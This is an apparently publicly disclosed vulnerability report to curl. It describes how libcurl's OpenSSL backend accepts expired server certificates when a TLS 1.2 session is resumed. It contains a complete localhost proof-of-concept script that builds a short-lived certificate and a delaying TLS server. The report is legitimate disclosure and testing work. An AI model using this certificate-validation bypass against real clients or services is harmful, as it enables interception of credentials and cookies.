HexBrain

curl · Report #3781305

OpenSSL TLS 1.2 session resumption accepts expired server certificates in libcurl

Informativestatus
14upvotes
7 Jun 2026disclosed

How it was found

Summary

curl's OpenSSL backend can accept a new TLS 1.2 HTTPS connection after the server certificate has expired if the connection resumes a previously cached TLS session. A full handshake made at the same time with the same certificate fails with CURLE_PEER_FAILED_VERIFICATION, but the resumed connection returns CURLE_OK. The resumed path installs the cached session with SSL_set_session() and relies on OpenSSL's cached X509_V_OK verify result instead of rechecking the peer certificate validity against the current time. Hostname verification is still performed, but the certificate expiration check is bypassed for the resumed TLS 1.2 connection. Disabling libcurl's SSL session cache makes the same post-expiration connection fail as expected.

Affected Version

I reproduced this against a current curl git checkout using the OpenSSL TLS backend. The proof of concept prints the curl/OpenSSL version at runtime. The issue requires the OpenSSL or QuicTLS backend and TLS 1.2 session resumption; TLS 1.3 behavior is intentionally not the target of this report.

Relevant code paths:

  • lib/vtls/openssl.c: cached TLS session is installed with SSL_set_session()
  • lib/vtls/openssl.c: resumed session is accepted when SSL_get_verify_result() is X509_V_OK
  • lib/vtls/openssl.c: later verification again uses the same cached OpenSSL verify result
  • lib/vtls/vtls_scache.c: TLS 1.2 sessions are retained in libcurl's session cache

Project Documentation Fit

This should be treated as a curl/libcurl security issue rather than API misuse or a documented limitation:

  • CURLOPT_SSL_VERIFYPEER is enabled by default and documents that certificate verification failures make the TLS connection fail.
  • CURLOPT_SSL_SESSIONID_CACHE is enabled by default. The documented purpose is session reuse, not relaxing current certificate validity checks.
  • docs/internals/TLS-SESSIONS.md warns against persisting TLS 1.2 tickets and documents a CA-file-content caveat for persisted sessions. The PoC below does not rely on persistence, local file replacement, invalid parameters, or application API misuse. It uses one normal curl command line, an unchanged trust anchor, and curl's default in-memory session cache.

Steps To Reproduce

Prerequisites: bash, python3 with the cryptography package, and a curl binary built with OpenSSL or QuicTLS. Optionally set CURL_BIN=/path/to/curl to test a local build.

Copy and paste the following as one command:

bash <<'EOF'
set -euo pipefail
CURL_BIN="${CURL_BIN:-curl}"

command -v "$CURL_BIN" >/dev/null 2>&1 || {
  echo "missing curl binary: $CURL_BIN" >&2
  exit 1
}
command -v python3 >/dev/null 2>&1 || {
  echo "missing required command: python3" >&2
  exit 1
}

python3 - <<'PY'
try:
    import cryptography  # noqa: F401
except Exception as e:
    raise SystemExit("missing python package 'cryptography': %s" % e)
PY

WORK="$(mktemp -d /tmp/curl-cmd-resume-expiry.XXXXXX)"
SRV_PID=""
cleanup() {
  if [ -n "$SRV_PID" ]; then
    kill "$SRV_PID" 2>/dev/null || true
    wait "$SRV_PID" 2>/dev/null || true
  fi
  rm -rf "$WORK"
}
trap cleanup EXIT

PORT="$(python3 - <<'PY'
import socket
s = socket.socket()
s.bind(("127.0.0.1", 0))
print(s.getsockname()[1])
s.close()
PY
)"
export WORK PORT

python3 - <<'PY'
import os
from datetime import datetime, timedelta, timezone
from cryptography import x509
from cryptography.x509.oid import NameOID
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import hashes, serialization
from cryptography.hazmat.primitives.asymmetric import rsa

work = os.environ["WORK"]
now = datetime.now(timezone.utc)
expiry = now + timedelta(seconds=3)
backend = default_backend()

key = rsa.generate_private_key(public_exponent=65537, key_size=2048,
                               backend=backend)
name = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, "localhost")])
cert = (
    x509.CertificateBuilder()
    .subject_name(name)
    .issuer_name(name)
    .public_key(key.public_key())
    .serial_number(x509.random_serial_number())
    .not_valid_before(now - timedelta(minutes=1))
    .not_valid_after(expiry)
    .add_extension(x509.SubjectAlternativeName([x509.DNSName("localhost")]),
                   critical=False)
    .sign(key, hashes.SHA256(), backend)
)

with open(os.path.join(work, "server.pem"), "wb") as f:
    f.write(cert.public_bytes(serialization.Encoding.PEM))
with open(os.path.join(work, "server.key"), "wb") as f:
    f.write(key.private_bytes(serialization.Encoding.PEM,
                              serialization.PrivateFormat.TraditionalOpenSSL,
                              serialization.NoEncryption()))
print("certificate_expires_at=%s" % expiry.isoformat())
PY

cat >"$WORK/server.py" <<'PY'
import os
import socket
import ssl
import time

port = int(os.environ["PORT"])
work = os.environ["WORK"]

ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
ctx.minimum_version = ssl.TLSVersion.TLSv1_2
ctx.maximum_version = ssl.TLSVersion.TLSv1_2
ctx.load_cert_chain(os.path.join(work, "server.pem"),
                    os.path.join(work, "server.key"))

ls = socket.socket()
ls.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
ls.bind(("127.0.0.1", port))
ls.listen(5)
print("server_ready", flush=True)

for i in range(3):
    raw, _ = ls.accept()
    if i == 1:
        print("conn2_delay_before_handshake=5s", flush=True)
        time.sleep(5)
    try:
        ssock = ctx.wrap_socket(raw, server_side=True)
    except Exception as e:
        print("conn%d_handshake_error=%s:%s" %
              (i + 1, type(e).__name__, e), flush=True)
        raw.close()
        continue

    print("conn%d_reused=%s" %
          (i + 1, getattr(ssock, "session_reused", None)), flush=True)
    data = b""
    while b"\r\n\r\n" not in data:
        chunk = ssock.recv(4096)
        if not chunk:
            break
        data += chunk
    body = ("hello %d\n" % (i + 1)).encode()
    ssock.sendall(b"HTTP/1.1 200 OK\r\nContent-Length: " +
                  str(len(body)).encode() +
                  b"\r\nConnection: close\r\n\r\n" + body)
    try:
        ssock.unwrap()
    except Exception:
        pass
    ssock.close()

ls.close()
print("server_done", flush=True)
PY

python3 "$WORK/server.py" >"$WORK/server.log" 2>&1 &
SRV_PID=$!
for _ in $(seq 1 100); do
  grep -q server_ready "$WORK/server.log" && break
  sleep 0.05
done
grep -q server_ready "$WORK/server.log" || {
  echo "TLS test server did not start" >&2
  cat "$WORK/server.log" >&2
  exit 1
}

"$CURL_BIN" -V | head -1
if ! "$CURL_BIN" -V | head -1 | grep -Eq 'OpenSSL|QuicTLS'; then
  echo "This PoC needs a curl binary using the OpenSSL or QuicTLS backend." >&2
  exit 77
fi

URL="https://localhost:$PORT/"

# One curl process, two URLs. The server closes the first connection, so curl
# opens a new TLS connection for the second URL while keeping its in-process
# TLS session cache.
"$CURL_BIN" -sS -v \
  --cacert "$WORK/server.pem" \
  --tlsv1.2 --tls-max 1.2 \
  --connect-timeout 10 --max-time 30 \
  "$URL" "$URL" \
  >"$WORK/two.out" 2>"$WORK/two.err" || true

set +e
"$CURL_BIN" -sS -v \
  --cacert "$WORK/server.pem" \
  --tlsv1.2 --tls-max 1.2 \
  --connect-timeout 10 --max-time 15 \
  --no-sessionid \
  "$URL" \
  >"$WORK/fresh.out" 2>"$WORK/fresh.err"
FRESH=$?
set -e

wait "$SRV_PID" 2>/dev/null || true
SRV_PID=""

echo "=== two-url curl stdout ==="
cat "$WORK/two.out"
echo "=== fresh curl exit ==="
echo "$FRESH"
echo "=== relevant curl verbose lines ==="
grep -E "SSL reusing session|certificate has expired|OpenSSL verify result|SSL verify result|SSL certificate verified|SSL certificate verify ok" \
  "$WORK/two.err" "$WORK/fresh.err" || true
echo "=== server log ==="
cat "$WORK/server.log"

if grep -q 'hello 1' "$WORK/two.out" &&
   grep -q 'hello 2' "$WORK/two.out" &&
   [ "$FRESH" = 60 ] &&
   grep -q 'conn2_reused=True' "$WORK/server.log"; then
  echo "VULNERABLE: resumed connection succeeds after expiry while fresh full handshake fails"
else
  echo "NOT REPRODUCED" >&2
  exit 1
fi
EOF

Expected output contains:

curl 8.x.x ... OpenSSL/...
=== two-url curl stdout ===
hello 1
hello 2
=== fresh curl exit ===
60
conn2_reused=True
VULNERABLE: resumed connection succeeds after expiry while fresh full handshake fails

The first URL in the two-URL curl command establishes a TLS 1.2 session while the self-signed test certificate is still valid and explicitly trusted with --cacert. The server delays the second TLS handshake until after that certificate expires. curl then opens a new TLS connection for the second URL, resumes the cached TLS 1.2 session, and accepts it. The final separate curl command is the control: it uses --no-sessionid and performs a fresh handshake after the certificate has expired, which fails with exit code 60.

Impact

Summary:

An endpoint that had a certificate valid at the time of the first connection can continue to be accepted for new HTTPS connections after that certificate expires, as long as the client resumes the previously cached TLS 1.2 session. This weakens curl's default certificate expiration enforcement: the same certificate is rejected by a fresh full handshake but accepted by the resumed connection path.

The practical attack window is bounded by libcurl's session cache lifetime and by whether the server still accepts the TLS 1.2 session ticket or session ID. This can affect applications that reuse an easy handle, use a multi handle, or share the TLS session cache. It can also affect imported/persisted TLS sessions, although persistence of TLS 1.2 tickets is a weaker secondary scenario because curl documentation already discourages persisting TLS 1.2 tickets.

Sensitive HTTP requests, headers, cookies, and credentials may then be sent over a TLS connection that would not pass current certificate validation if the session were not resumed.

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original